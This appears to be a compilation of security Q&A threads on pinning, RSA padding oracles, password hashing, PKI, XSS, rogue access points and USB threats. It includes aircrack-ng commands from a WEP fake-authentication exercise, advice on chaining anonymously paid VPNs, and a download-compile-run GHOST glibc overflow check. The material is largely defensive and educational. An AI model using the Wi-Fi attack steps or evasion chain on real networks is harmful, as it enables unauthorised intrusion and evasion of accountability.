Is domain/subdomain check necessary when doing public key pinning? I recently worked on an mobile app and established public key pinning for connections with my server. Connections from the client app may be made to various subdomains of the main server domain.

Is checking for proper domain or subdomain associated with the public certificate in the server authentication process increasing security? I mean - if I'm anyway checking for the public key, is it necessary to check also for domain and subdomain? If so, why? What can I do to perform domain/subdomain check while not knowing all possible subdomains at time of deploying app to the production?

There are various kinds of public key pinning and the answer depends on what you actually do. If you pin to the key of the servers certificate and only expect a single specific certificate for the server then additionally checking the URL you access against the subject of the certificate is probably not necessary, since there should only be this single certificate with this key (or maybe multiple similar certificates when renewing).

If instead you reuse the same public key for many certificates (bad idea) or if you pin to the key of the issuing CA instead of the leaf certificate then you should also verify that the subject of the certificate matches the name in the URL.


Prevent padding oracle attack on key exchange process I found in my searches that the padding oracle attack can be used against the RSA with PKCS1PAdding or OAEP padding, and I used this algorithm for a symmetric key exchange.
How can I prevent a padding oracle attack when using public keys for secret key exchange?   Encrypt-then-MAC cannot be used because generating the MAC needs a shared secret key, and the key has not been exchanged yet.

The "padding oracle" attack you are talking about is better known as Bleichenbacher's attack against RSA. The attacker sends malformed encrypted keys; some will still (by pure chance) happen to decrypt properly, albeit with a decrypted content that the attacker cannot know. If the server's behaviour changes, depending on whether the decryption failed ("bad padding") or not (server uses the decryption result and keeps going), then the attacker can obtain some information on the RSA private key.

A common workaround is to, indeed, hide the behavioural change: when the decryption fails, the server simply uses a random value instead of the decryption result. Thus, the attacker can no longer distinguish between "bad padding" and "padding was correct and resulted in some random decrypted junk". This is, in fact, rather hard to implement properly, especially since industrious attackers can apply timing attacks and notice when the server used a random replacement, because of the extra time needed to generate the replacement.

OAEP is nominally immune to Bleichenbacher's attack, and was designed precisely in that goal; however, this still requires that it is implemented correctly, which is, again, not as easy as it seems. The usual recommendation applies: if you are writing your own crypto protocol or implementation, then you are doing it wrong. You should use an existing protocol, and existing implementations where details such as resistance to timing attacks have been explored and fixed through years of on-field testing.


What does "don't roll your own security" mean? I see this saying a lot and agree that you should leave certain things to the tried and true methods, but am unsure to what extent.
Does it just mean don't make your own crypto algorithm?
I created a simple create user set up for a client app - server in c#.
user sends username, password through WPF to a WebAPI that creates an entry in a database with the username, generates and stores a salt, stores number of iterations (10,000). It then uses .net pbkdf2 to create a hash and store it.

Is this rolling your own security?

Quoting Bruce Schneier:

  Anyone can design a cipher that he himself cannot break. This is why you should uniformly distrust amateur cryptography, and why you should only use published algorithms that have withstood broad cryptanalysis. All cryptographers know this, but non-cryptographers do not. And this is why we repeatedly see bad amateur cryptography in fielded systems.

'Rolling your own crypto' means you designing a new algorithm that you then proceed to use without either:

Auditing it, or worse
Publishing it at all. That is - keeping the algorithm private.

By implementing a known and trusted process or algorithm like pbkdf2, you have some level of guarantee that it has been audited and will not keel over and die the minute someone prods the algorithm itself. By using a widely accepted standard, you have some level of assurance that the algorithm is not going to be flawed and you only need to ensure that your implementation is secure. This is not rolling your own crypto. This is you implementing it and if your implementation is correct and you follow the guidelines, you're golden.

Further reading that might help: Schneier on the subject


How do I tell my wifi device to stick to a channel I'm doing the usual exercises with airodump-ng, aireplay-ng etc. When I try to perform a fake authentication to a WEP protected wifi network I get the message quite frequently that I'm sending on channel X but the AP is on channel Y. I have set the wifi device into monitor mode with

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

and then I have tried to set the interface to the correct channel with

ifconfig wlan0 channel Y

but when I execute

iwlist wlan0 frequency

I can see that the device keeps hopping through the different channels. This means that I have to resubmit my attack commands many many times until coincidentally the device is on the correct channel when I'm submitting my command. There must be a way to tell the device to stop hopping but I can't find anything...

Update
I didn't say I use an Ubuntu computer. Is it the network manager doing this maybe?

I have fixed the problem by purchasing a USB wireless adapter and working in a VM guest kali environment with that adapter. There I do a

airmon-ng check kill
airmon-ng start wlan0

and this preserves the session for the entire monitoring session. I presume in Ubuntu killing all the annoying processes doesn't have exactly the same effect as in kali.


Meaning of ISAAS acronym I came across this in a security policy along with ISRA, and tried researching it, but there's no definitive answer.  So far I have:

Information Security as a service
Intelligent software as a service
Installed software ...
Information systems ...

I'm guessing its #1, but if anyone has any clarity it would be appreciated.  Thank you.

As it's in a security policy, most probably it is Information Security As a service. It is an outsourced service wherein an outside company handles and manages your security.


I'm wondering how I hide my identity online well what are the different ways to become anonymous. Is quicksilver a good email for that? What are the different options?

I know about proxies, Tor, and VPNs. Should I do all three? I like computers but I don't know how often I want to configure Tor settings. How long does it take to learn? How good are VPNs as an option by comparison?

Also, what is an open VPN?

There are two general levels of anonymity:

Good enough for hiding from other routine users of the internet.
Good enough for hiding from government law enforcement and surveillance agencies.

As you can imagine, the second level is much much harder to achieve; and usually unnecessary for law-abiding citizens in a democratic country without a security hobby.

Tor is a logical network and protocol that takes advantage of proxy indirection and encryption to produce some degree of anonymity; sufficient for level 1.

Normal VPNs are only as good as their resistance to external pressure to give up their connections logs or customer details. So again, only really sufficient for level 1.

Tor and VPNs serve a different though overlapping audience. Typically Tor is limited to browsing the web; whilst VPNs can be used to redirect any protocol. Either way you must ensure that all traffic passes through the indirection. For if some does and some doesn't, your anonymised identity is linkable to your real (ISP-mediated) identity.

Anonymity needs to be built from the ground up if you really care about it1.

Here are some steps you may need to consider, but frankly this starts getting outside the scope of Information Security stack exchange:

Create a billing instrument detached from your normal banking details and identity. This might be a pre-paid debit card; a bitcoin wallet or some shady e-Gold site.
Purchase VPN hosting from a vendor that doesn't mind the billing instrument you created in step 1.  Preferably in a country that either hates your country or flouts international criticism as a tax haven, gambling den or the like.
Perform steps 1 & 2 again through the VPN you have just established to purchase VPN hosting in yet another jurisdiction. Repeat steps 1, 2 and 3 until you have chained as many VPNs as you can stomach for brittleness and latency.
Only create (and only use) various anonymous online accounts (email, social networking, voip, etc) through the VPNs
Follow all usual advice for working through a VPN. Unless you want to fly too close to the sun like Ross Ulbricht of Silk Road.

Where possible try to have the last VPN as a vendor or at least an IP that is not currently known to be VPN; as many major sites will reject connections from VPNs2.

1. You probably don't. Once you realise the effort involved.
2. Tech-savvy trolls also like being anonymous.


Dealing with expired or revoked signing certificates with Infopath documents Suppose I have an Infopath form that is digitally signed today by a valid, and active user.

When that user leaves the company, we disable the account and revoke the certificate. This causes a problem since the old documents that were correctly signed are reported as being invalid.

How do we maintain the integrity of a PKI infrastructure and also ensure that the valid, prior signed documents still appear as valid within Infopath?

I don't know how Infopath works but your question is a general issue in the long term digital signature validation field.

The solution is to store along with the signature all information required to validate the signature (e.g. all certificate paths, downloaded CRL or OCSP responses...) and to wrap everything with a cryptographic time-stamp (as defined in RFC 3161). This time-stamp provides a proof of existence of all theses objects at the time-stamp date. Therefore it is possible to replay the signature validation process in the past (i.e. when the signing certificate was valid/not expired)

I've found this link http://msdn.microsoft.com/en-us/library/cc545900.aspx about digital signature in MS Office 2010 and it seems relevant for Infopath. You need a XAdES-X or XAdES-XL signature level, depending on how far in the future the signature should be validated.

Hope this helps.


Setting up OWASP ZAP Authentication against 2 page forms authenication My website is using Microsoft account authentication(live Id). Microsoft authentication is set up in 2 different pages. The 1st page you enter the username, and the next page the password. How do I Zap forms-based authentication for a scenario like this?
Is it doable?

You can also try script-based authentication as the first measure: record an auth script in Zap UI (from the point where you login to the website), click Run when you are done recording to check if it actually logs in. If it does, profit.


Why does Evil twin works? https://en.wikipedia.org/wiki/Evil_twin_%28wireless_networks%29

My question: it's OK that someone can make an AP with the same MAC and SSID as the original AP. And with stronger signal. But what I don't understand is  how can a rogue AP be configured in a way that will accept the password? (the password is for the original AP).

UPDATE: Are there any ways to configure an AP with ex.: WPA2-PSK that accepts any passwords?? (and so, the password will be stored?)

The evil twin attack works because with most versions of WPA there is no validation of the AP. When connecting to an AP a system authenticates trusts that the AP is what it says it is. This isn't a good design frankly, however we are stuck with it.

WPA enterprise allows the use of certificates for verification of both AP and connecting system, however it really isn't a viable solution outside of companies which control their infrastructure.


What are empty requests in web server log? In my nginx access.log I have plenty of request logs like this:

1.2.3.4 - - [18/Aug/2014:12:09:33 +0200] "-" 400 0 "-" "-"

As you see there is neither browser specification nor any target url.  I am wondering whether they could be part of an attack scheme (what sort of?) and if so how best to counter them?

That's the result of somebody sending an empty request to your server.  It's not a useful attack vector by itself (as you can see from the log, your server returned a "400 Bad Request" error message), but it can be used as an "is there a webserver here?" probe.

Personally, I'd ignore it.  There's a lot of automated scanning going on out there, and you could spend untold hours trying to stop things that aren't a threat in the first place.


Safe to render data directly to DOM from localStorage? XSS attack possible? I read that localstorage is susceptible to XSS attacks.

I currently store JSON Web Token (JWT) in localstorage, and I access and display data about the user through localstorage:

var localstore = // localStorage object

// On user login, server responds with token, store the token on client!
localstore.store(jwt_token);

// later, grab some data out of token
var name = localStore.getName();

And at some point I render some user information on the DOM with:

<span> Welcome to your profile page! </span>
<span> How are you, {{ name }} </span>

So basically:

On login, store token on client in localStorage
Access localStorage and render directly to DOM

Does that workflow contain a XSS vector? Is this fine? I have other ideas if it's not:

(1) Would a better solution be to:

On login, store token on client in localStorage
Whenever I need to display user info, grab token from localStorage and use it to query the server directly for user info
client gets user data, render it in DOM

ie,

// prepare jwt to be sent to server
http.setAuthenticationBearer(localstore.retrieveToken());

// Request user data with jwt!
http.get('/profile').success( function(data) {
    var name = data['name'];
    // render 'name' in DOM
}

CONS: Have to make a request to the server each time I need user data. Not ideal.

(2) Or this:

On login, store token on client in localStorage
Access localStorage, pipe data to sanitizer, render directly to DOM

ie, <span> How are you, {{ sanitize(name) }} </span>

PROs: Simple fix to original, clean and does not have to make requests to server.

CONs: Have to remember each time to pipe data to sanitize(). Can be easy to forget. But I feel it's better than having to make requests each time like in (1)

Encoding / Decoding coupled with XSS sanitation pre save and pre dom render is best practice.

Mitigation strategies regarding browser DOM XSS attacks vary but can be strengthened with header options found here (https://www.owasp.org/index.php/List_of_useful_HTTP_headers).

While zero day vulnerabilities may exist in the various browser rendering engines these can help prevent unknown flaws in same origin restrictions which are the primary cause of XSS attack vectors.

Security is creating enough hoops to prevent the majority of attacks, monitoring for abnormalities and keeping systems and code bases patched is the remainder.


create GMS base station with mobile devices I would like to create my own GSM network (base station with mobile devices connected to each other) and having voice/sms services.
Something like demonstrated here:
https://evilsocket.net/2016/03/31/how-to-build-your-own-rogue-gsm-bts-for-fun-and-profit/

I thought of creating my BTS station and device in lab without being connected to the outside world.

But If I understand correctly, on creating such BTS it will "automatically" be connected to the outer world (so that device in my own lab will see other devices), Right ?
Is it possible to create such network isolated from outer world ?

Thanks

Depending on which country and jurisdiction you are in you will likely be violating wireless spectrum laws. By default, if you are playing with this via live antennas open to the world your answer to number 1 is it will undoubtedly interfere with commercial spectrum usage whether or not your network connects to other networks.

Answer 2: YES. Look into Faraday cage boxes or if your equipment is small enough even a Faraday Cage Bag will work. There are many commercial solutions to this and you can find ones being sold at lower costs used in many places.

Finally, do learn about how this is regulated in your jurisdiction before your begin. Some countries have very strict punishments for radio interference of critical infrastructure systems like telephony.


Probably someone trying to create an account on your forum and proceed to spam it.

I read about it here: http://www.projecthoneypot.org/ip_95.168.162.43

When you URL decode the string two times and google the string you find a lot of spam on different forums.

URL Decoded one time:

èñïîëüçîâàí íèêíåéì "immultusa"; çàðåãèñòðèðîâàëèñü (âêëþ÷åí ðåæèì òîëüêî ðåãèñòðàöèè);
failed, referer: http://xxxxxx.org/forums
/index.php++++++++++++++++++++++++++++++++Result:+%e8%f1%ef%ee%eb%fc%e7%ee%e2%e0%ed+%ed
%e8%ea%ed%e5%e9%ec+%22immultusa%22%3b+%e7%e0%f0%e5%e3%e8%f1%f2%f0%e8%f0%ee%e2%e0%eb%e8
%f1%fc+(%e2%ea%eb%fe%f7%e5%ed+%f0%e5%e6%e8%ec+%f2%ee%eb%fc%ea%ee+%f0%e5%e3%e8%f1%f2
%f0%e0%f6%e8%e8)%3b

URL Decoded twice:

èñïîëüçîâàí íèêíåéì "immultusa"; çàðåãèñòðèðîâàëèñü (âêëþ÷åí ðåæèì òîëüêî ðåãèñòðàöèè);
failed, referer: http://xxxxxx.org/forums/index.php
Result: èñïîëüçîâàí íèêíåéì "immultusa"; çàðåãèñòðèðîâàëèñü (âêëþ÷åí ðåæèì òîëüêî
ðåãèñòðàöèè);


Windows Authentication to protect API One of my colleagues has a web api call that is checking that the user is logged in and his token matches what is in session (thanks to all of you for your help). Let's say this is layer blue.

After it's confirmed the user is who they say they are, it then makes a call to another API on another server (let's call it layer Red).  I'm not sure why he doesn't just call one layer directly but assume there was a good reason for this "Mirroring".

He said he prevents someone from calling layer red directly, and that only layer blue can call it. I asked him how and he said windows basic authentication.

I didn't even look yet at his IIS, etc, but assume there is some basic auth setup.

What are some risks that come to mind in a scenario like this?

Thanks!

Basic authentication is not Windows Integrated Authentication. The former uses cleartext usernames and passwords; the latter uses Kerberos (usually) or NTLM tokens. Integrated authentication is secure enough(tm) as long as you set the ACLs properly. It's a common mistake to set the ACLs too permissive (Authenticated Users, say) and rely on the inability of an attacker to get any valid Kerberos tokens because they don't have an account on your domain. Even worse, a programmer might not check for authorization at all, and assume that because the call didn't just fail outright at the IIS level it must be OK.

These things are dumb; make sure you set the ACLs to allow only the users IIS is running as on layer blue access to layer red. As long as you do that, it's secure; or, at least, if someone can break it, you've got bigger problems.


Is disabling auto-run enough to protect against malicious code from removable media automatically infecting a machine? If I block auto-run on a windows machine, is this enough to protect it from malicious code (assuming I don't run any files manually)?

Or are there known vulnerabilities that may cause infection?

There are several known ways that a malicious USB device can compromise your computer:

Autorun.  The USB device can contain software that Windows will automatically run when you plug in the USB device, if you have autorun enabled.
Input device emulation.  As @TobyS says, the malicious USB dongle might physically look like a small flash storage device (a dongle), but it can still present itself to the computer as a keyboard or a mouse or somesuch.  Then the malicious USB device might start inserting malicious key strokes that subvert your computer.
Exploit a vulnerability. The USB device can contain data or files that exploit vulnerabilities in the code that runs on your computer.  As @Jeff mentions, this might include exploiting vulnerabilities in the code that displays file icons in your file manager or exploiting vulnerabilities in your anti-virus software when it scans the drive.  It might also include exploiting vulnerabilities in the OS filesystem code (I have seen bugs in that code before, which could be exploited by a malicious filesystem image) or a number of other variants.  While I don't currently know of any zero-day vulnerabilities with no known fix in the latest Windows OS, there is a lot of code that runs to handle data from a USB device, and you should assume there are probably more vulnerabilities lurking, waiting to be found.
Social engineering. The USB device can contain files that, when you double-click on them, launch malware.  The file names and icons might be arranged to look tempting, to entice users to click on them.  This has been exploited before, and is very challenging to prevent.

Bottom line: disabling autorun is a good start, and stops the easiest form of attack.  For a company that doesn't have especially high security needs, it's probably "good enough".  (It is good enough for me in my own personal computing.)  But don't think it's enough to be completely safe; autorun stops only the first of the attacks mentioned above, and other attacks remain possible, as sketched above.  Because of these risks, the military completely bans all USB drives.


How to generate a CSR (certificate signing request) for creating a limited CA (Certificate Authority) using LibreSSL? Related to this (too broad) question: How to implement my PKI?

I have a self-signed CA (ca0)

I would like to create a CA (ca1) with limited power derived from that first CA.
ca1 should only be able to sign certificates for *.foo.com and for foo.com.

From this question, I found out that the Name Constraints extension is probably what I want.

The key for ca1 already exists and is ca1.foo.key.pem.

I already have an incomplete command for creating the request:

libressl req -new -sha512 -key ca1.foo.key.pem -out ca1.foo.csr.pem

What should I add to that line to limit ca1's power?

You'll need to add the NameConstraints extension to the request using LibreSSL's config file.  The following example is an extract - you'll need to add the various sections to your current config file and tweak the constraints:

[ req ]

# Don't prompt for the DN, use configured values instead
# This saves having to type in your DN each time.

prompt             = no
string_mask        = default
distinguished_name = req_dn

# The size of the keys in bits:
default_bits       = 4096

# The extensions added when generating a CSR
req_extensions     = req_ext

[ req_dn ]

countryName            = GB
stateOrProvinceName    = Somewhere
organizationName       = Example
organizationalUnitName = PKI
commonName             = Example CA

[ req_ext ]

# Extensions added to the request

subjectKeyIdentifier    = hash

basicConstraints            = critical, CA:TRUE
# basicConstraints          = critical, CA:TRUE, pathlen:1

keyUsage = critical, keyCertSign, cRLSign

# Policies and constraints are not recommended for Root CAs
# But could be enforced on subordinate CAs

nameConstraints        = @name_constraints

#policyConstraints = requireExplicitPolicy:1

#inhibitAnyPolicy = 1

#certificatePolicies = @CertPol

[ name_constraints ]
permitted;DNS.1 = example.org
permitted;DNS.2 = example.com
permitted;dirName.1 = style_1
permitted;dirName.2 = style_2

[ style_1 ]
C=gb
ST=somewhere
O=example
1.OU=head office
2.OU=admin

[ style_2 ]
1.DC=org
2.DC=example

[ CertPol ]
policyIdentifier = 1.3.6.1.4.132473
CPS = http://pki.example.org/cps.html

If you're not using the default configuration file you'll need to add -config <config file> to your command line.

Note: I've not tried this on LibreSSL - only on OpenSSL but I believe both use the same syntax.


Use brute force to mitigate brute force Just an idea I had, and I am sure there is a lot of material about this subject, so I am looking for a pointer as to where I can find more information.

My idea is this...

When storing a password in a database, it is common to store it as a hash. This is weak against rainbow tables, which is mitigated by adding salt, and is also weak against brute force attacks.

I am thinking that it is possible to store the hash, modified with a small random string...

Using md5

mypass -> 2b643a4d56186389d84dbb3a9a483e99

If you have the hash, the password can be found by simply hashing all possible passwords, and comparing the hash, so...

// append a random 3 character string of a-z characters, we can use "xth" for this example
mypassxth -> 02a2247c788681af6ce1bb5fa66dd4c0

The random string is never stored, never shared, and only resides in memory on the server at the time of storing the hash.

This makes lookup of passwords less efficient, because the server must check any incoming requests by brute forcing the partly complete input against the stored hash, which in this case would mean an upper bound of 17576 (26^3) checks to validate the password.

It would also make brute force attack much harder in this case, an upper bound (assuming a-z only) of 5429503678976 (26^9) rather than 308915776 (26^6).

I guess it is like using a very small salt, that is not stored anywhere, requiring brute forcing during lookup operations.

Assuming I am not completely missing something obvious that makes this not work, can someone tell me what this concept is called, or point me somewhere where I can read about it?

Seriously, don't be a Dave and roll your own crypto.

Use a proven KDF such as PBKFD2, bcrypt or scrypt to hash your passwords. See this great answer for more information on how to securely hash passwords.

For your scheme, mypass is essentially no longer your password. mypassxth is. An attacker has no problems just bruteforcing the password with his nice little GPU as you are using MD5. This has NO bearing on an attackers ability to bruteforce your password, and just makes password hashing that much more computationally expensive for your servers.

If you are using a good KDF like bcrypt instead of MD5 for password hashing, this scheme will add a lot of additional load on your servers with very little gain.


Does dnssec protect against malicious registrars? With the recent conspiracy theories around the registrar MarkMonitor Inc., the question arises, if DNSSEC protects against a registrar going malicious (or being attacked).

This is especially interesting in the context of SSL certificates. At the moment any trusted certification authority can sign any server certificate. There is a proposal, which suggests, to store the signatures in DNS instead. This is a good idea, because it reduces the number of weak links, that are able to issue malicious certificates. But it puts access to the DNS servers for name resolution and key distribution in one central place.

No.  DNSSEC does not protect the integrity of a DNS name if the registrar for that name is malicious (or compromised).  The registrar for grumpyavians.com is the ultimate source of authority for who owns grumpyavians.com (and, e.g., what is the public key for grumpyavians.com).  Consequently, if the registrar is malicious or compromised, then the registrar can transfer control or otherwise subvert security.

That said, I believe the situation is not quite as bad as you feared (it is not the case that any registrar anywhere can compromise every DNS name in existence).  For instance, as far as I know, some random registrar cannot take control of every domain name under .com.

Here's my understanding of how it works.  Today, Verisign administers .com.  That means that Verisign totally controls .com, and has the DNSSEC signing keys that lets it create arbitrary records for foo.com names.  There's a long list of domain registrars, who can all register domain names under .com.  The way that works is that the registrar interacts with Verisign to request that some name (say, grumpyavians.com) be assigned to it; Verisign confirms that no one already owns grumpyavians.com, then assigns it to the registrar and keeps a record of this assignment.  Transferring domains between registrars happens similarly.

Let's say you own some valuable domain name under .com (say, hungryfelines.com).  Who are your DNSSEC records vulnerable to?  They are vulnerable to Verisign, and to your registrar.  I don't believe you are vulnerable to any other registrar, assuming that the domain transfer process is adequately secured.  Caveat: the domain transfer process is beyond the scope of DNSSEC, but it is a significant potential point of vulnerability in practice.


How should connection between a hosted server and a database be secured? As I learn about web app security, the focus seems to be on the going-ons between the client and the app server. To illustrate, SQL injection and SSL certificates both seem to me to be mainly concerned with the connection between the app server and clients - or the logic and the presentation tiers.

My web application uses a connection string to access a database. The connection string is secured and encrypted... but when the connection is active, couldn't someone intercept that connection and effectively "sniff" what is being stored and read?

If you configure the app to use TLS to connect to the db then it cant be sniffed. If that is being done along with everything else you are fine. The connection string is decrypted in memory so somebody will have had to compromise one of the machines in order to get anything of use. Of course precautions need to be taken there as well, but as far as sniffing, it cant be done if TLS is used.


Weaknesses in client-side RSA decryption with passphrase-protected private key received from server Our system is a storage for short-lived short secrets (less than 10 characters) generated by 3rd parties on behalf of our users. The secrets are encrypted by the 3rd parties with the users’ public keys.

Our system stores both the encrypted secrets as well as the users’ passphrase-protected private and public keys until the users need the secrets.

When a user needs their secret, we send them the encrypted secret along with their passphrase-protected private key. Only the user knows the passphrase and therefore only the user can decrypt the private key and then use it to decrypt the secret. Note that decryption is done client-side, so our system never sees the passphrase or the decrypted secret.

The question is: how secure is this, given that we store both the encrypted secrets and the public and password-protected private keys together. We want our system to be relatively hacker-proof (ie it should take more than a day to decrypt the secrets by brute force).

This system is a secure as the passphrases. If they are easy to guess, your security is weak. If, however, the passphrases are randomly generated with a cryptographically secure PRNG and long enough, you can achieve a good theoretical security. Your generated passphrases should have at least 2^128 possible combinations. This is notwithstanding any implementation flaw or other vulnerabilities in your software.


GHOST bug: is there a simple way to test if my system is secure? GHOST (CVE-2015-0235) just popped up. How can I quickly check if a system of mine is secure? Ideally with a one line shell command.

According to the ZDNet article "you should then reboot the system". Ideally the test would also indicate this...

It appears you can download a tool from the University of Chicago that will let you test your system for the vulnerability.

This does not repair or restart anything it will only tell you if your system is vulnerable.

$ wget https://webshare.uchicago.edu/orgs/ITServices/itsec/Downloads/GHOST.c
$ gcc GHOST.c -o GHOST
$ ./GHOST
[responds vulnerable OR not vulnerable ]

Running this on one of my remote servers I get:

user@host:~# wget https://webshare.uchicago.edu/orgs/ITServices/itsec/Downloads/GHOST.c
--2015-01-27 22:30:46--  https://webshare.uchicago.edu/orgs/ITServices/itsec/Downloads/GHOST.c
Resolving webshare.uchicago.edu (webshare.uchicago.edu)... 128.135.22.61
Connecting to webshare.uchicago.edu (webshare.uchicago.edu)|128.135.22.61|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1046 (1.0K) [text/x-csrc]
Saving to: `GHOST.c'

100%[============================================>] 1,046       --.-K/s   in 0s

2015-01-27 22:30:48 (237 MB/s) - `GHOST.c' saved [1046/1046]

user@host:~# gcc GHOST.c -o GHOST
user@host:~# ./GHOST
vulnerable

The source code of that script looks like this next code block but you should inspect the origin code first anyway. As others have pointed out, if you are arbitrarily running code off the internet without knowing what it does then bad things may happen:

/*
 * GHOST vulnerability check
 * http://www.openwall.com/lists/oss-security/2015/01/27/9
 * Usage: gcc GHOST.c -o GHOST && ./GHOST
 */

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;

  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';

  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}

Edit:
I've added an ansible playbook here if it's of use to anyone, if you have a large number of systems to test then ansible will allow you to do it quickly.

Also, as per discussion below, if you find your servers are vulnerable and apply available patches, it is highly recommended that you reboot your system.


How much stronger does a paragraph/sentence based password becomes with random characters added? I was reading some questions on here regarding the correct horse battery staple method, and the conclusion was that, assuming any words in the list of most common English words, every word adds about 10-11 bits of entropy, so the XKCD method was relatively correct in their conclusion.

Now, how much secure would that password be if you added random noise (actual random noise, generated from a proper PRNG) to that string? Say, for example, I had correct horse battery staple as my password (ignoring the fact this sentence is pretty common) and then I added some noise, so I get 3orrezt hors  bat8ery s9appe@. How much more secure did it actually become? Or is there no point worrying about this kind of thing anyway?

Also, what about adding a small password inside the bigger sentence, for example, correct $58j#O1, battery staple?

Use enough entropy then there's nothing to worry about.

For an 80 bit password just choose 8 random words.

Using your

correct $58j#O1, battery staple

technique with CSPRNG, assuming your password section is over the full character range (96 chars) then you have 10 bits + 6.5 * 7 + 10 + 10 = 75.5 bits.

These are both under the assumption the attacker knows your generation method. In reality they don't so this adds an immeasurable amount of entropy for an untargeted attack.


External vendor has requested to join our Active Directory Domain We've received a request from a vendor who wishes to join two computers from their network into our AD Domain.  The vendor is proposing to provide a vertical application installed on their servers from their Datacenter.  Their network will be connected to ours over a VPN.

It seemed unusual, but they treated it like business as usual.  Is this a common practice we are unaware of?

NOTE: They are not requesting a cross domain trust relationship -- they want membership in our domain.

So.. these computers are off your network, in their space, accessing your AD?  How are you establishing that?  Are you doing a site-site VPN?  Most importantly: why?  What benefit do you both hope to realize?  Since this is your AD and they are a vendor, I'd really want to see how this benefits you.  Why do they want to do this with 2 AD-joined computers in their data center when there are many other ways to transfer data back and forth?

It's not unheard of, but it's unusual.  Who maintains their user accounts (it sounds like you do)?  Who supports the PCs?  What kind of group policies do they expect to get?  Why do they need access to your AD?  Who maintains their access to ensure that the accounts expire when they leave the vendor company?  What kind of access do they need in your network?  Are you restricting their logins to only those devices?  How long do they want this for?

This is a request for your legal folks as well.  There needs to be a Non=Disclosure agreement as well as indemnification.  Also a Business Partner Agreement that severely restricts their conduct needs to be in place.

Personally it would take an awful lot for me to agree to this.  I'd really want to understand what they hope to gain from that and how they propose to implement it.


Is a Whirlpool hash with random salt secure enough? I copied the title from another question, but it wasn't answered there and my case is a bit different.

I have inherited an old website to maintain. I noticed that the password hashing is not up to modern best practices, but I would like to understand if it is reasonably safe or needs changing.

Here is the code that does the hashing:

public function changePW($password)
{
    //
    $new_salt = $this->random();
    $new_password = $this->hash($password, $new_salt);
    //
}

public function random($limit = 10, $from = 32, $to = 126) {
    $phrase = '';
    for ($i=0; $i<$limit; $i++) {
        $phrase .= chr(rand($from,$to));
    }
    return $phrase;
}

// self::$_salt is a constant 12 character string
// of 3 words with some letters replaced by numbers
public static function hash($password, $salt) {
    return hash('whirlpool', self::$_salt . $password . $salt);
}

Should I consider this procedure flawed/vulnerable for passwords of 8 characters and longer?

Whirlpool itself is a cryptographically-secure hash function like SHA-512 and has no known weaknesses that would be relevant to hashing secrets. However, using it directly for password hashing is a bad idea because it is fast, allowing an attacker to guess many passwords per second. This is not unique to the Whirlpool hash. A memory-hard KDF like Argon2 should be used, or at least a slow KDF like PBKDF2.

See How to securely hash passwords? for information on why this is important.


Storing Credit Cards Okay, so storing digitized credit card information/records is a well documented process when it comes to best practices. I recently got asked how a company can store, retrieve and process physical credit cards. I'm not particularly familiar with PCI-DSS standards

The scenario is this:
A hotel wants to be PCI compliant, their servers are all up to scratch and all the rest, but as part of their business, the operate a very active bar/club where guests can start a 'tab'. In order to start a tab, a guest must first hand over a valid credit card. This card is then kept under the counter but is not secured in any special way. Does having this card without access control (any employee behind the bar can access it without generating 'logs') and without any kind of safe storage (not in a safe for example) therefore break PCI compliance?

What would the best way of handling cards like this be in such an environment?

For cardholder present transactions, there's very little in terms of physical security within the PCI DSS. Cardholders are responsible for their cards and aren't supposed to hand them over to others for third party storage. What should happen in this scenario to limit the access of all bartenders etc to the card is that a pre-authorisation of $0.01 should be taken from the card and the card returned to the cardholder with their tab number. They can then order from that tab for the evening and pay at the end of the night. If they leave with their card, the bar can charge the card based on the pre-authorisation.

The other way to do this may be for a particular bar staff to be responsible for the cards of the people they're running tabs for so you know who has what card when. This isn't really practical due to shifts and taking breaks so the previous process would be best.


Is the convertomp3.com website hacked? :) I wanted to convert a youtube video to mp3, but the website gaved me an EXE?

http://convertonmp3.com/download/412414/The_Supermen_Lovers_feat_Mani_Hoffman_Starlight_Official_Video.mp3?h=hx7ZBZi7rHuU69RJhqwVuA&e=1422700955

https://www.virustotal.com/en/file/30875cf1a3fc1f699ad74aa47cb01fcfde70d7924d97cf54c2a247d23d627bb5/analysis/1422697618/

UPDATE: I don't think my notebook is infected, I tried with another PC, OS: Linux, and if I use the useragent:

Mozilla/5.0 (Windows NT 6.4; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0

Then there will be ..mp3.exe files!

My original OS was OpenBSD, just with a modificated useragent in Firefox.

No, the site convertonmp3.com is not hacked. It is distributing malware by design. That is the business model of this and many other similar sites.

At the above link, you get a “Download with ConvertOnMP3.com Download Manager” checkbox which is ticked by default. (This did not appear for me until I browsed with a Windows web browser; YMMV.) If you click the download link without unticking the box then instead of the .mp3 you get a .exe file. That is the file virustotal is complaining about (note the filename is listed as “The_Supermen_Lovers_feat_Mani_Hoffman_Starlight_Official_Video.mp3.exe”.

The executable is a downloader from the pay-per-install programme at installpath.com (related domains: keenondownload.com, leadingdownload.com), which will then install a selection of adware depending on whoever is paying them at the time.


Is there any advantage to combining a hash algorithm with a key-derivation function? Let's assume I would like to secure passwords using a modern KDF such as Argon2. The flow of information would look like this: $hash,$salt = argon2id($password, $salt).

Is there any advantage to first hash the password using SHA256/512, like so $hash,$salt = argon2id(sha256($password), $salt)?

From looking at its specification, the first step of the argon2 algorithm is to hash the password with the BLAKE2b hash function. Therefore, it is useless to first hash the password with SHA2 before passing it to argon2id.


Why are private keys alpha-numeric? In asymmetric encryption, if a private key is in-fact the multiplication of 2 prime numbers, then how come it is alphanumeric?

As was already mentioned in the comments, keys are not alphanumeric. They are binary, but because binary is hard to work with, they are often encoded either as hexadecimal or Base64 strings.

